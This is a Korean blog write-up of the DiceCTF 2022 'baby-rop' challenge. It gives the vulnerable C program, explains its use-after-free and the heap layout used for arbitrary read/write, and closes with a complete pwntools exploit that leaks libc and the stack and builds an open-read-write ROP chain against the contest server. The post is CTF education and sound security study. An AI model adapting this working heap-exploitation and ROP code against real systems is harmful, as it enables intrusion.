Sechack

Dice CTF 2022 - baby-rop 풀이 본문

CTF

Dice CTF 2022 - baby-rop 풀이

Sechack 2022. 2. 8. 01:40
반응형
#include <stdio.h>
#include <stdlib.h>

#include <unistd.h>
#include "seccomp-bpf.h"

void activate_seccomp()
{
    struct sock_filter filter[] = {
        VALIDATE_ARCHITECTURE,
        EXAMINE_SYSCALL,
        ALLOW_SYSCALL(mprotect),
        ALLOW_SYSCALL(mmap),
        ALLOW_SYSCALL(munmap),
        ALLOW_SYSCALL(exit_group),
        ALLOW_SYSCALL(read),
        ALLOW_SYSCALL(write),
        ALLOW_SYSCALL(open),
        ALLOW_SYSCALL(close),
        ALLOW_SYSCALL(openat),
        ALLOW_SYSCALL(fstat),
        ALLOW_SYSCALL(brk),
        ALLOW_SYSCALL(newfstatat),
        ALLOW_SYSCALL(ioctl),
        ALLOW_SYSCALL(lseek),
        KILL_PROCESS,
    };

    struct sock_fprog prog = {
        .len = (unsigned short)(sizeof(filter) / sizeof(struct sock_filter)),
        .filter = filter,
    };

    prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
    prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
}


#include <gnu/libc-version.h>
#include <stdio.h>
#include <unistd.h>
int get_libc() {
    // method 1, use macro
    printf("%d.%d\n", __GLIBC__, __GLIBC_MINOR__);

    // method 2, use gnu_get_libc_version 
    puts(gnu_get_libc_version());

    // method 3, use confstr function
    char version[30] = {0};
    confstr(_CS_GNU_LIBC_VERSION, version, 30);
    puts(version);

    return 0;
}

#define NUM_STRINGS 10

typedef struct {
    size_t length;
	char * string;
} safe_string;

safe_string * data_storage[NUM_STRINGS];

void read_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "Sending %zu hex-encoded bytes\n", ptr->length);
    for(size_t j = 0; j < ptr->length; ++j) {
        fprintf(stdout, " %02x", (unsigned char) ptr->string[j]);
    }
    fprintf(stdout, "\n");
    fflush(stdout);
}

void free_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    free(ptr->string);
    free(ptr);
}

void write_safe_string(int i) {
    safe_string * ptr = data_storage[i];
    if(ptr == NULL) {
        fprintf(stdout, "that item does not exist\n");
        fflush(stdout);
        return;
    }

    fprintf(stdout, "enter your string: ");
    fflush(stdout);

    read(STDIN_FILENO, ptr->string, ptr->length);
}

void create_safe_string(int i) {

    safe_string * ptr = malloc(sizeof(safe_string));

    fprintf(stdout, "How long is your safe_string: ");
    fflush(stdout);
    scanf("%zu", &ptr->length);

    ptr->string = malloc(ptr->length);
    data_storage[i] = ptr;

    write_safe_string(i);

}

// flag.txt
int main() {

    get_libc();
    activate_seccomp();

    int idx;
    int c;
    
    while(1){
        fprintf(stdout, "enter your command: ");
        fflush(stdout);
        while((c = getchar()) == '\n' || c == '\r');

        if(c == EOF) { return 0; }

        fprintf(stdout, "enter your index: ");
        fflush(stdout);
        scanf("%u", &idx);

        if((idx < 0) || (idx >= NUM_STRINGS)) {
            fprintf(stdout, "index out of range: %d\n", idx);
            fflush(stdout);
            continue;
        }

        switch(c) {
            case 'C':
                create_safe_string(idx);
                break;
            case 'F':
                free_safe_string(idx);
                break;
            case 'R':
                read_safe_string(idx);
                break;
            case 'W':
                write_safe_string(idx);
                break;
            case 'E':
                return 0;
        }
    
    }
}

 

 

소스코드를 제공해준다. 힙 구조는 단순히 chunk안에 또다른 chunk를 가리키는 힙 주소가 있는 형태이다. free를 하고나서 별다른 포인터 초기화를 하지 않으므로 free된 chunk에 접근할 수 있고 uaf가 터진다. libc leak은 그냥 unsorted bin에 한번 넣었다 빼서 leak하면 되고 seccomp가 걸려있기때문에 hook을 덮는건 안되고 stack leak을 해서 rop를 해야한다.

 

0 : chunk1 -> chunk2
1 : chunk2 -> chunk1

 

arbitrary read와 arbitrary write를 하기 위해서는 위와같은 구조를 만들어주면 된다. free를 해도 chunk list에는 그대로 주소가 남아서 접근할 수 있게 되고 첫번째 malloc은 크기가 0x10으로 고정이니까 free되는 size를 각각 0x10, 0x20으로 두고 2개 해제한뒤 0x10, 0x10크기로 1번 할당하면 위와같은 구조를 만들 수 있다. 위의 구조에서 edit기능으로 0번 인덱스를 수정하게 되면 1번 인덱스의 구조체가 가리키고 있는 string포인터 값을 맘대로 덮을 수 있게 되고 arbitrary read와 arbitrary write가 가능해지게 된다. environ이용해서 stack leak해주고 main함수 ret에다가 aaw해서 orw rop하면 된다.

 

 

Full exploit

 

from pwn import *

#r = process(["./babyrop"], env={'LD_PRELOAD':'./libc.so.6'})
r = remote("mc.ax", 31245)
libc = ELF("./libc.so.6")

filename = 0x404000
databuf = 0x404500

def C(idx, size, data):
    r.sendlineafter("command: ", "C")
    r.sendlineafter("index: ", str(idx))
    r.sendlineafter("string: ", str(size))
    r.sendafter("string: ", data)

def F(idx):
    r.sendlineafter("command: ", "F")
    r.sendlineafter("index: ", str(idx))

def R(idx):
    r.sendlineafter("command: ", "R")
    r.sendlineafter("index: ", str(idx))

def W(idx, data):
    r.sendlineafter("command: ", "W")
    r.sendlineafter("index: ", str(idx))
    r.sendafter("string: ", data)

def E(idx):
    r.sendlineafter("command: ", "E")
    r.sendlineafter("index: ", str(idx))

def bytes_to_int(hexarr):
    count = 0
    for i in hexarr:
        tmp = int(i, 16)
        if count != 0:
            leak += tmp << (8 * count)
        else:
            leak = tmp
        count += 1
    return leak

C(0, 0x1000, "Sechack")
C(1, 0x10, "Sechack")
F(0)
C(2, 0x1000, "\xc0")
R(2)

leak = bytes_to_int(r.recvuntil("7f")[-17:].split())

libc_base = leak - 0x1f4cc0
environ = libc_base + libc.sym["environ"] #0x220ec0
open_addr = libc_base + libc.sym["open"]
read_addr = libc_base + libc.sym["read"]
write_addr = libc_base + libc.sym["write"]
pop_rdi = libc_base + 0x2d7dd
pop_rsi = libc_base + 0x2eef9
pop_rdx = libc_base + 0xd9c2d
print(hex(leak))
print(hex(libc_base))

C(3, 0x20, "Sechack")
C(4, 0x20, "Sechack")

F(3)
F(4)

C(5, 0x10, p64(0x10)+p64(environ))
R(3)

stack_leak = bytes_to_int(r.recvuntil("7f")[-17:].split())
ret = stack_leak - 0x140
print(hex(stack_leak))

W(5, p64(0x1000)+p64(ret))

payload = p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(filename)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi)+p64(filename)+p64(pop_rsi)+p64(0)+p64(open_addr)
payload += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(databuf)+p64(pop_rdx)+p64(0x100)+p64(read_addr)
payload += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(databuf)+p64(pop_rdx)+p64(0x100)+p64(write_addr)

W(3, payload)
E(0)

r.send(b"flag.txt")

r.interactive()

 

 

 

반응형
Comments